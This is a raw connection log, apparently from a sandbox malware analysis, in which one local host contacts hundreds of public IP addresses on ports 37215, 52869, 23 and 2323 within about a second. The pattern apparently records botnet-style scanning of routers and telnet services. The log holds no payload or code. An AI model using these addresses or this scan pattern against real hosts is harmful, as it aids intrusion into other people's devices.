Oct 6, 2024 20:00:47.695998907 CEST	49416	37215	192.168.2.15	156.77.177.237
Oct 6, 2024 20:00:47.695997953 CEST	49416	37215	192.168.2.15	156.183.218.113
Oct 6, 2024 20:00:47.695998907 CEST	49416	37215	192.168.2.15	41.161.80.107
Oct 6, 2024 20:00:47.695998907 CEST	49416	37215	192.168.2.15	156.184.137.252
Oct 6, 2024 20:00:47.695998907 CEST	49416	37215	192.168.2.15	41.223.176.109
Oct 6, 2024 20:00:47.695998907 CEST	49416	37215	192.168.2.15	41.195.235.225
Oct 6, 2024 20:00:47.696010113 CEST	49416	37215	192.168.2.15	197.84.20.34
Oct 6, 2024 20:00:47.695998907 CEST	49416	37215	192.168.2.15	156.107.6.125
Oct 6, 2024 20:00:47.696011066 CEST	49416	37215	192.168.2.15	41.207.37.67
Oct 6, 2024 20:00:47.695998907 CEST	49416	37215	192.168.2.15	156.111.64.84
Oct 6, 2024 20:00:47.695997953 CEST	49416	37215	192.168.2.15	156.66.168.88
Oct 6, 2024 20:00:47.696012974 CEST	49416	37215	192.168.2.15	197.28.94.162
Oct 6, 2024 20:00:47.696017981 CEST	49416	37215	192.168.2.15	41.90.18.33
Oct 6, 2024 20:00:47.696017981 CEST	49416	37215	192.168.2.15	41.176.139.162
Oct 6, 2024 20:00:47.696017981 CEST	49416	37215	192.168.2.15	197.202.82.181
Oct 6, 2024 20:00:47.696017981 CEST	49416	37215	192.168.2.15	41.30.63.197
Oct 6, 2024 20:00:47.696027040 CEST	49416	37215	192.168.2.15	156.171.160.160
Oct 6, 2024 20:00:47.696031094 CEST	49416	37215	192.168.2.15	156.51.147.75
Oct 6, 2024 20:00:47.696031094 CEST	49416	37215	192.168.2.15	197.34.180.234
Oct 6, 2024 20:00:47.696032047 CEST	49416	37215	192.168.2.15	41.74.11.193
Oct 6, 2024 20:00:47.696032047 CEST	49416	37215	192.168.2.15	197.57.116.166
Oct 6, 2024 20:00:47.696032047 CEST	49416	37215	192.168.2.15	197.9.103.163
Oct 6, 2024 20:00:47.696034908 CEST	49416	37215	192.168.2.15	41.20.92.151
Oct 6, 2024 20:00:47.696034908 CEST	49416	37215	192.168.2.15	197.230.142.108
Oct 6, 2024 20:00:47.696034908 CEST	49416	37215	192.168.2.15	156.209.16.107
Oct 6, 2024 20:00:47.696034908 CEST	49416	37215	192.168.2.15	197.242.93.139
Oct 6, 2024 20:00:47.696034908 CEST	49416	37215	192.168.2.15	197.246.49.156
Oct 6, 2024 20:00:47.696034908 CEST	49416	37215	192.168.2.15	197.136.138.190
Oct 6, 2024 20:00:47.696032047 CEST	49416	37215	192.168.2.15	41.58.251.232
Oct 6, 2024 20:00:47.696038008 CEST	49416	37215	192.168.2.15	41.7.139.172
Oct 6, 2024 20:00:47.696038008 CEST	49416	37215	192.168.2.15	156.27.58.147
Oct 6, 2024 20:00:47.696038008 CEST	49416	37215	192.168.2.15	156.200.135.244
Oct 6, 2024 20:00:47.696038961 CEST	49416	37215	192.168.2.15	41.50.152.164
Oct 6, 2024 20:00:47.696038961 CEST	49416	37215	192.168.2.15	156.184.120.208
Oct 6, 2024 20:00:47.696041107 CEST	49416	37215	192.168.2.15	41.248.80.23
Oct 6, 2024 20:00:47.696041107 CEST	49416	37215	192.168.2.15	197.182.153.107
Oct 6, 2024 20:00:47.696041107 CEST	49416	37215	192.168.2.15	156.66.114.206
Oct 6, 2024 20:00:47.696042061 CEST	49416	37215	192.168.2.15	197.232.15.197
Oct 6, 2024 20:00:47.696043015 CEST	49416	37215	192.168.2.15	41.110.57.48
Oct 6, 2024 20:00:47.696049929 CEST	49416	37215	192.168.2.15	156.18.18.181
Oct 6, 2024 20:00:47.696055889 CEST	49416	37215	192.168.2.15	156.128.160.207
Oct 6, 2024 20:00:47.696057081 CEST	49416	37215	192.168.2.15	41.93.201.126
Oct 6, 2024 20:00:47.696058035 CEST	49416	37215	192.168.2.15	156.234.76.138
Oct 6, 2024 20:00:47.696058035 CEST	49416	37215	192.168.2.15	156.251.130.78
Oct 6, 2024 20:00:47.696062088 CEST	49416	37215	192.168.2.15	41.137.197.212
Oct 6, 2024 20:00:47.696063042 CEST	49416	37215	192.168.2.15	41.195.216.224
Oct 6, 2024 20:00:47.696062088 CEST	49416	37215	192.168.2.15	41.45.229.185
Oct 6, 2024 20:00:47.696063042 CEST	49416	37215	192.168.2.15	156.108.242.11
Oct 6, 2024 20:00:47.696064949 CEST	49416	37215	192.168.2.15	41.248.241.136
Oct 6, 2024 20:00:47.696065903 CEST	49416	37215	192.168.2.15	197.31.11.105
Oct 6, 2024 20:00:47.696064949 CEST	49416	37215	192.168.2.15	197.80.75.245
Oct 6, 2024 20:00:47.696065903 CEST	49416	37215	192.168.2.15	156.179.51.199
Oct 6, 2024 20:00:47.696062088 CEST	49416	37215	192.168.2.15	156.77.87.99
Oct 6, 2024 20:00:47.696074963 CEST	49416	37215	192.168.2.15	197.90.52.197
Oct 6, 2024 20:00:47.696250916 CEST	57662	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:47.700999975 CEST	37215	49416	197.89.91.100	192.168.2.15
Oct 6, 2024 20:00:47.701011896 CEST	37215	49416	197.194.140.67	192.168.2.15
Oct 6, 2024 20:00:47.701023102 CEST	37215	49416	41.242.86.254	192.168.2.15
Oct 6, 2024 20:00:47.701028109 CEST	37215	49416	41.168.107.217	192.168.2.15
Oct 6, 2024 20:00:47.701033115 CEST	37215	49416	41.255.27.97	192.168.2.15
Oct 6, 2024 20:00:47.701036930 CEST	37215	49416	156.55.237.218	192.168.2.15
Oct 6, 2024 20:00:47.701046944 CEST	37215	49416	156.106.97.223	192.168.2.15
Oct 6, 2024 20:00:47.701059103 CEST	37215	49416	197.98.207.60	192.168.2.15
Oct 6, 2024 20:00:47.701069117 CEST	37215	49416	197.82.211.21	192.168.2.15
Oct 6, 2024 20:00:47.701078892 CEST	37215	46330	41.17.121.18	192.168.2.15
Oct 6, 2024 20:00:47.701106071 CEST	49416	37215	192.168.2.15	41.168.107.217
Oct 6, 2024 20:00:47.701114893 CEST	49416	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:47.701122046 CEST	49416	37215	192.168.2.15	197.89.91.100
Oct 6, 2024 20:00:47.701121092 CEST	46330	37215	192.168.2.15	41.17.121.18
Oct 6, 2024 20:00:47.701127052 CEST	49416	37215	192.168.2.15	197.82.211.21
Oct 6, 2024 20:00:47.701133966 CEST	49416	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:47.701133966 CEST	49416	37215	192.168.2.15	41.255.27.97
Oct 6, 2024 20:00:47.701142073 CEST	49416	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:47.701139927 CEST	49416	37215	192.168.2.15	156.106.97.223
Oct 6, 2024 20:00:47.701138020 CEST	49416	37215	192.168.2.15	197.194.140.67
Oct 6, 2024 20:00:47.701211929 CEST	37215	49210	197.45.60.52	192.168.2.15
Oct 6, 2024 20:00:47.701220989 CEST	37215	51264	41.120.114.119	192.168.2.15
Oct 6, 2024 20:00:47.701231003 CEST	37215	49396	156.42.236.52	192.168.2.15
Oct 6, 2024 20:00:47.701260090 CEST	49210	37215	192.168.2.15	197.45.60.52
Oct 6, 2024 20:00:47.701263905 CEST	49396	37215	192.168.2.15	156.42.236.52
Oct 6, 2024 20:00:47.701329947 CEST	51264	37215	192.168.2.15	41.120.114.119
Oct 6, 2024 20:00:47.701417923 CEST	37215	58486	156.16.124.10	192.168.2.15
Oct 6, 2024 20:00:47.701541901 CEST	58486	37215	192.168.2.15	156.16.124.10
Oct 6, 2024 20:00:47.701560974 CEST	37215	40712	156.139.12.174	192.168.2.15
Oct 6, 2024 20:00:47.701571941 CEST	37215	57662	156.80.69.183	192.168.2.15
Oct 6, 2024 20:00:47.701581001 CEST	37215	57662	156.80.69.183	192.168.2.15
Oct 6, 2024 20:00:47.701596022 CEST	40712	37215	192.168.2.15	156.139.12.174
Oct 6, 2024 20:00:47.701780081 CEST	57662	37215	192.168.2.15	156.80.69.183
Oct 6, 2024 20:00:47.722333908 CEST	52494	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:47.722349882 CEST	43446	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:47.722351074 CEST	50716	52869	192.168.2.15	156.68.33.3
Oct 6, 2024 20:00:47.722351074 CEST	44016	52869	192.168.2.15	41.169.114.35
Oct 6, 2024 20:00:47.722361088 CEST	49088	52869	192.168.2.15	197.91.206.158
Oct 6, 2024 20:00:47.722363949 CEST	33950	52869	192.168.2.15	156.141.86.140
Oct 6, 2024 20:00:47.727143049 CEST	52869	52494	156.238.13.216	192.168.2.15
Oct 6, 2024 20:00:47.727230072 CEST	52494	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:47.727240086 CEST	52869	43446	156.113.192.250	192.168.2.15
Oct 6, 2024 20:00:47.727298021 CEST	43446	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:47.727302074 CEST	52494	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:47.727334023 CEST	49160	52869	192.168.2.15	197.5.121.62
Oct 6, 2024 20:00:47.727339983 CEST	49160	52869	192.168.2.15	197.135.102.77
Oct 6, 2024 20:00:47.727343082 CEST	49160	52869	192.168.2.15	156.115.8.24
Oct 6, 2024 20:00:47.727345943 CEST	49160	52869	192.168.2.15	197.185.156.126
Oct 6, 2024 20:00:47.727348089 CEST	49160	52869	192.168.2.15	197.89.165.143
Oct 6, 2024 20:00:47.727356911 CEST	49160	52869	192.168.2.15	156.73.231.131
Oct 6, 2024 20:00:47.727368116 CEST	49160	52869	192.168.2.15	41.164.181.123
Oct 6, 2024 20:00:47.727371931 CEST	49160	52869	192.168.2.15	41.131.227.43
Oct 6, 2024 20:00:47.727371931 CEST	49160	52869	192.168.2.15	41.190.243.223
Oct 6, 2024 20:00:47.727371931 CEST	49160	52869	192.168.2.15	156.73.11.219
Oct 6, 2024 20:00:47.727380037 CEST	49160	52869	192.168.2.15	197.97.115.93
Oct 6, 2024 20:00:47.727381945 CEST	49160	52869	192.168.2.15	197.59.131.16
Oct 6, 2024 20:00:47.727396011 CEST	49160	52869	192.168.2.15	197.141.198.16
Oct 6, 2024 20:00:47.727396965 CEST	49160	52869	192.168.2.15	156.27.130.25
Oct 6, 2024 20:00:47.727406025 CEST	49160	52869	192.168.2.15	41.84.4.59
Oct 6, 2024 20:00:47.727406025 CEST	49160	52869	192.168.2.15	156.184.95.132
Oct 6, 2024 20:00:47.727416039 CEST	49160	52869	192.168.2.15	41.55.187.217
Oct 6, 2024 20:00:47.727420092 CEST	49160	52869	192.168.2.15	197.235.206.157
Oct 6, 2024 20:00:47.727421999 CEST	49160	52869	192.168.2.15	41.254.225.178
Oct 6, 2024 20:00:47.727427959 CEST	49160	52869	192.168.2.15	197.162.105.164
Oct 6, 2024 20:00:47.727427959 CEST	49160	52869	192.168.2.15	197.57.42.62
Oct 6, 2024 20:00:47.727432966 CEST	49160	52869	192.168.2.15	41.32.132.32
Oct 6, 2024 20:00:47.727432966 CEST	49160	52869	192.168.2.15	197.24.58.55
Oct 6, 2024 20:00:47.727435112 CEST	49160	52869	192.168.2.15	197.237.97.176
Oct 6, 2024 20:00:47.727435112 CEST	49160	52869	192.168.2.15	156.88.125.195
Oct 6, 2024 20:00:47.727435112 CEST	49160	52869	192.168.2.15	41.213.40.48
Oct 6, 2024 20:00:47.727447987 CEST	49160	52869	192.168.2.15	156.46.3.97
Oct 6, 2024 20:00:47.727451086 CEST	49160	52869	192.168.2.15	156.59.236.60
Oct 6, 2024 20:00:47.727451086 CEST	49160	52869	192.168.2.15	156.9.18.121
Oct 6, 2024 20:00:47.727452993 CEST	49160	52869	192.168.2.15	41.48.244.39
Oct 6, 2024 20:00:47.727452993 CEST	49160	52869	192.168.2.15	41.246.103.90
Oct 6, 2024 20:00:47.727454901 CEST	49160	52869	192.168.2.15	156.118.94.86
Oct 6, 2024 20:00:47.727526903 CEST	49160	52869	192.168.2.15	156.32.6.29
Oct 6, 2024 20:00:47.727529049 CEST	49160	52869	192.168.2.15	197.66.29.71
Oct 6, 2024 20:00:47.727530956 CEST	49160	52869	192.168.2.15	41.243.92.198
Oct 6, 2024 20:00:47.727530956 CEST	49160	52869	192.168.2.15	197.4.148.100
Oct 6, 2024 20:00:47.727530956 CEST	49160	52869	192.168.2.15	156.28.45.14
Oct 6, 2024 20:00:47.727530956 CEST	49160	52869	192.168.2.15	156.88.150.44
Oct 6, 2024 20:00:47.727531910 CEST	49160	52869	192.168.2.15	41.149.240.78
Oct 6, 2024 20:00:47.727536917 CEST	49160	52869	192.168.2.15	156.188.242.145
Oct 6, 2024 20:00:47.727569103 CEST	49160	52869	192.168.2.15	197.249.8.152
Oct 6, 2024 20:00:47.727569103 CEST	49160	52869	192.168.2.15	197.109.217.76
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	197.22.155.79
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	41.12.182.178
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	197.138.154.180
Oct 6, 2024 20:00:47.727605104 CEST	49160	52869	192.168.2.15	156.151.78.76
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	156.147.139.98
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	197.238.242.230
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	197.138.46.151
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	197.215.188.91
Oct 6, 2024 20:00:47.727605104 CEST	49160	52869	192.168.2.15	156.84.99.205
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	197.245.252.88
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	197.173.121.224
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	197.194.199.167
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	156.50.165.219
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.78.240.17
Oct 6, 2024 20:00:47.727605104 CEST	49160	52869	192.168.2.15	41.142.107.11
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	197.52.44.25
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.226.43.126
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	41.51.103.228
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	41.155.196.235
Oct 6, 2024 20:00:47.727608919 CEST	49160	52869	192.168.2.15	41.129.43.199
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	197.171.83.120
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	156.25.186.204
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	41.170.226.208
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	156.233.79.99
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	41.226.108.157
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	156.80.178.206
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	156.166.110.154
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.120.12.116
Oct 6, 2024 20:00:47.727608919 CEST	49160	52869	192.168.2.15	197.87.119.57
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	156.224.177.20
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.90.70.69
Oct 6, 2024 20:00:47.727606058 CEST	49160	52869	192.168.2.15	41.123.153.100
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.97.60.28
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	41.254.180.16
Oct 6, 2024 20:00:47.727605104 CEST	49160	52869	192.168.2.15	41.59.115.207
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.90.156.4
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	156.248.254.196
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	197.188.88.6
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	41.62.58.185
Oct 6, 2024 20:00:47.727605104 CEST	49160	52869	192.168.2.15	197.143.60.113
Oct 6, 2024 20:00:47.727608919 CEST	49160	52869	192.168.2.15	41.227.31.40
Oct 6, 2024 20:00:47.727603912 CEST	49160	52869	192.168.2.15	197.79.140.87
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	197.209.119.82
Oct 6, 2024 20:00:47.727605104 CEST	49160	52869	192.168.2.15	197.132.128.77
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.219.90.28
Oct 6, 2024 20:00:47.727605104 CEST	49160	52869	192.168.2.15	41.193.197.61
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	156.196.53.211
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	41.189.63.255
Oct 6, 2024 20:00:47.727646112 CEST	49160	52869	192.168.2.15	197.91.84.150
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	41.46.150.66
Oct 6, 2024 20:00:47.727646112 CEST	49160	52869	192.168.2.15	156.65.9.151
Oct 6, 2024 20:00:47.727610111 CEST	49160	52869	192.168.2.15	197.223.68.52
Oct 6, 2024 20:00:47.727653980 CEST	49160	52869	192.168.2.15	197.22.100.223
Oct 6, 2024 20:00:47.727648973 CEST	49160	52869	192.168.2.15	156.27.224.35
Oct 6, 2024 20:00:47.727646112 CEST	49160	52869	192.168.2.15	41.37.130.7
Oct 6, 2024 20:00:47.727649927 CEST	49160	52869	192.168.2.15	197.84.175.235
Oct 6, 2024 20:00:47.727646112 CEST	49160	52869	192.168.2.15	197.162.64.233
Oct 6, 2024 20:00:47.727649927 CEST	49160	52869	192.168.2.15	156.150.151.195
Oct 6, 2024 20:00:47.727653980 CEST	49160	52869	192.168.2.15	156.115.221.1
Oct 6, 2024 20:00:47.727646112 CEST	49160	52869	192.168.2.15	197.142.65.0
Oct 6, 2024 20:00:47.727653980 CEST	49160	52869	192.168.2.15	156.192.33.198
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	41.193.175.65
Oct 6, 2024 20:00:47.727653980 CEST	49160	52869	192.168.2.15	41.39.223.17
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	41.68.44.235
Oct 6, 2024 20:00:47.727662086 CEST	49160	52869	192.168.2.15	41.146.220.194
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	41.151.209.34
Oct 6, 2024 20:00:47.727662086 CEST	49160	52869	192.168.2.15	197.95.82.136
Oct 6, 2024 20:00:47.727653980 CEST	49160	52869	192.168.2.15	156.28.132.145
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	156.13.52.213
Oct 6, 2024 20:00:47.727646112 CEST	49160	52869	192.168.2.15	156.154.126.137
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	41.10.101.1
Oct 6, 2024 20:00:47.727646112 CEST	49160	52869	192.168.2.15	197.229.145.232
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	156.190.61.242
Oct 6, 2024 20:00:47.727662086 CEST	49160	52869	192.168.2.15	156.0.181.254
Oct 6, 2024 20:00:47.727649927 CEST	49160	52869	192.168.2.15	156.219.148.31
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	197.158.3.143
Oct 6, 2024 20:00:47.727650881 CEST	49160	52869	192.168.2.15	156.118.43.210
Oct 6, 2024 20:00:47.727653980 CEST	49160	52869	192.168.2.15	197.40.54.125
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	197.85.108.34
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	156.217.155.8
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	41.27.157.230
Oct 6, 2024 20:00:47.727653980 CEST	49160	52869	192.168.2.15	41.67.248.27
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	41.210.102.202
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	41.170.108.84
Oct 6, 2024 20:00:47.727654934 CEST	49160	52869	192.168.2.15	197.150.46.52
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	156.193.140.53
Oct 6, 2024 20:00:47.727662086 CEST	49160	52869	192.168.2.15	156.201.234.148
Oct 6, 2024 20:00:47.727684975 CEST	49160	52869	192.168.2.15	197.70.99.201
Oct 6, 2024 20:00:47.727682114 CEST	49160	52869	192.168.2.15	197.62.141.68
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	41.152.178.103
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	156.254.108.80
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	197.199.174.14
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	197.81.197.1
Oct 6, 2024 20:00:47.727660894 CEST	49160	52869	192.168.2.15	41.36.2.91
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	41.160.113.58
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	41.158.29.121
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	156.93.205.215
Oct 6, 2024 20:00:47.727694988 CEST	49160	52869	192.168.2.15	41.223.108.136
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	156.107.199.138
Oct 6, 2024 20:00:47.727694988 CEST	49160	52869	192.168.2.15	156.249.196.233
Oct 6, 2024 20:00:47.727659941 CEST	49160	52869	192.168.2.15	41.187.110.53
Oct 6, 2024 20:00:47.727684975 CEST	49160	52869	192.168.2.15	156.83.129.209
Oct 6, 2024 20:00:47.727662086 CEST	49160	52869	192.168.2.15	156.207.8.18
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	197.65.109.236
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	197.3.171.49
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	41.133.18.98
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	41.88.195.183
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	197.108.47.127
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	41.236.141.249
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	156.238.218.31
Oct 6, 2024 20:00:47.727663040 CEST	49160	52869	192.168.2.15	41.211.118.52
Oct 6, 2024 20:00:47.727701902 CEST	49160	52869	192.168.2.15	41.90.33.146
Oct 6, 2024 20:00:47.727701902 CEST	49160	52869	192.168.2.15	156.107.155.57
Oct 6, 2024 20:00:47.727705002 CEST	49160	52869	192.168.2.15	41.2.13.82
Oct 6, 2024 20:00:47.727715015 CEST	49160	52869	192.168.2.15	41.150.60.232
Oct 6, 2024 20:00:47.727715015 CEST	49160	52869	192.168.2.15	156.237.7.111
Oct 6, 2024 20:00:47.727715015 CEST	49160	52869	192.168.2.15	156.244.248.193
Oct 6, 2024 20:00:47.727715015 CEST	49160	52869	192.168.2.15	197.57.123.142
Oct 6, 2024 20:00:47.727729082 CEST	43446	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:47.727740049 CEST	43446	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:47.728127956 CEST	43572	52869	192.168.2.15	156.113.192.250
Oct 6, 2024 20:00:47.732372046 CEST	52869	52494	156.238.13.216	192.168.2.15
Oct 6, 2024 20:00:47.732417107 CEST	52494	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:47.732512951 CEST	52869	49160	197.141.198.16	192.168.2.15
Oct 6, 2024 20:00:47.732522011 CEST	52869	43446	156.113.192.250	192.168.2.15
Oct 6, 2024 20:00:47.732556105 CEST	49160	52869	192.168.2.15	197.141.198.16
Oct 6, 2024 20:00:47.754280090 CEST	58682	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:47.759124041 CEST	37215	58682	41.38.116.194	192.168.2.15
Oct 6, 2024 20:00:47.759406090 CEST	58682	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:47.759435892 CEST	58682	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:47.759793043 CEST	49576	37215	192.168.2.15	41.168.107.217
Oct 6, 2024 20:00:47.760339975 CEST	48338	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:47.760874987 CEST	55922	37215	192.168.2.15	197.89.91.100
Oct 6, 2024 20:00:47.761389971 CEST	47194	37215	192.168.2.15	197.82.211.21
Oct 6, 2024 20:00:47.761882067 CEST	39690	37215	192.168.2.15	197.194.140.67
Oct 6, 2024 20:00:47.762399912 CEST	54364	37215	192.168.2.15	41.242.86.254
Oct 6, 2024 20:00:47.762913942 CEST	41196	37215	192.168.2.15	41.255.27.97
Oct 6, 2024 20:00:47.763422966 CEST	43180	37215	192.168.2.15	156.55.237.218
Oct 6, 2024 20:00:47.763923883 CEST	60600	37215	192.168.2.15	156.106.97.223
Oct 6, 2024 20:00:47.764578104 CEST	37215	49576	41.168.107.217	192.168.2.15
Oct 6, 2024 20:00:47.764626980 CEST	49576	37215	192.168.2.15	41.168.107.217
Oct 6, 2024 20:00:47.764659882 CEST	49576	37215	192.168.2.15	41.168.107.217
Oct 6, 2024 20:00:47.764659882 CEST	49576	37215	192.168.2.15	41.168.107.217
Oct 6, 2024 20:00:47.764697075 CEST	37215	58682	41.38.116.194	192.168.2.15
Oct 6, 2024 20:00:47.764733076 CEST	58682	37215	192.168.2.15	41.38.116.194
Oct 6, 2024 20:00:47.764911890 CEST	49594	37215	192.168.2.15	41.168.107.217
Oct 6, 2024 20:00:47.765084982 CEST	37215	48338	197.98.207.60	192.168.2.15
Oct 6, 2024 20:00:47.765120983 CEST	48338	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:47.765253067 CEST	48338	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:47.765261889 CEST	48338	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:47.765491009 CEST	48356	37215	192.168.2.15	197.98.207.60
Oct 6, 2024 20:00:47.769582987 CEST	37215	49576	41.168.107.217	192.168.2.15
Oct 6, 2024 20:00:47.770142078 CEST	37215	48338	197.98.207.60	192.168.2.15
Oct 6, 2024 20:00:47.777631998 CEST	52869	43446	156.113.192.250	192.168.2.15
Oct 6, 2024 20:00:47.813756943 CEST	37215	48338	197.98.207.60	192.168.2.15
Oct 6, 2024 20:00:47.813770056 CEST	37215	49576	41.168.107.217	192.168.2.15
Oct 6, 2024 20:00:48.137753963 CEST	52869	52490	156.238.13.216	192.168.2.15
Oct 6, 2024 20:00:48.137928963 CEST	52490	52869	192.168.2.15	156.238.13.216
Oct 6, 2024 20:00:48.522326946 CEST	46080	23	192.168.2.15	40.240.222.183
Oct 6, 2024 20:00:48.522336960 CEST	59834	23	192.168.2.15	190.67.17.149
Oct 6, 2024 20:00:48.522351027 CEST	58922	23	192.168.2.15	188.91.72.150
Oct 6, 2024 20:00:48.522351027 CEST	48840	23	192.168.2.15	166.179.157.113
Oct 6, 2024 20:00:48.522351027 CEST	38760	23	192.168.2.15	40.33.98.58
Oct 6, 2024 20:00:48.522351027 CEST	43514	23	192.168.2.15	87.196.226.202
Oct 6, 2024 20:00:48.522368908 CEST	46778	23	192.168.2.15	212.218.178.46
Oct 6, 2024 20:00:48.522368908 CEST	33082	23	192.168.2.15	168.41.82.9
Oct 6, 2024 20:00:48.522368908 CEST	49302	23	192.168.2.15	178.226.90.2
Oct 6, 2024 20:00:48.522373915 CEST	48684	2323	192.168.2.15	54.14.60.146
Oct 6, 2024 20:00:48.522375107 CEST	44242	23	192.168.2.15	44.242.201.252
Oct 6, 2024 20:00:48.522375107 CEST	54628	23	192.168.2.15	145.24.36.201
Oct 6, 2024 20:00:48.522375107 CEST	48316	23	192.168.2.15	9.245.183.126
Oct 6, 2024 20:00:48.522375107 CEST	50134	23	192.168.2.15	27.159.135.56
Oct 6, 2024 20:00:48.522384882 CEST	58290	23	192.168.2.15	209.132.171.157
Oct 6, 2024 20:00:48.522392988 CEST	48250	23	192.168.2.15	173.104.141.10
Oct 6, 2024 20:00:48.522392988 CEST	43518	23	192.168.2.15	48.61.184.104
Oct 6, 2024 20:00:48.522392988 CEST	40884	2323	192.168.2.15	191.153.88.53
Oct 6, 2024 20:00:48.522401094 CEST	50728	23	192.168.2.15	36.254.16.94
Oct 6, 2024 20:00:48.522401094 CEST	55998	23	192.168.2.15	185.200.143.147
Oct 6, 2024 20:00:48.522401094 CEST	34370	23	192.168.2.15	122.226.106.26
Oct 6, 2024 20:00:48.522401094 CEST	37730	23	192.168.2.15	120.81.240.128
Oct 6, 2024 20:00:48.522401094 CEST	55898	23	192.168.2.15	27.244.217.238
Oct 6, 2024 20:00:48.522403002 CEST	39692	23	192.168.2.15	95.149.91.220
Oct 6, 2024 20:00:48.522403002 CEST	33510	2323	192.168.2.15	2.157.110.228
Oct 6, 2024 20:00:48.522403002 CEST	36994	23	192.168.2.15	195.192.147.187
Oct 6, 2024 20:00:48.522403002 CEST	40622	23	192.168.2.15	66.187.19.139
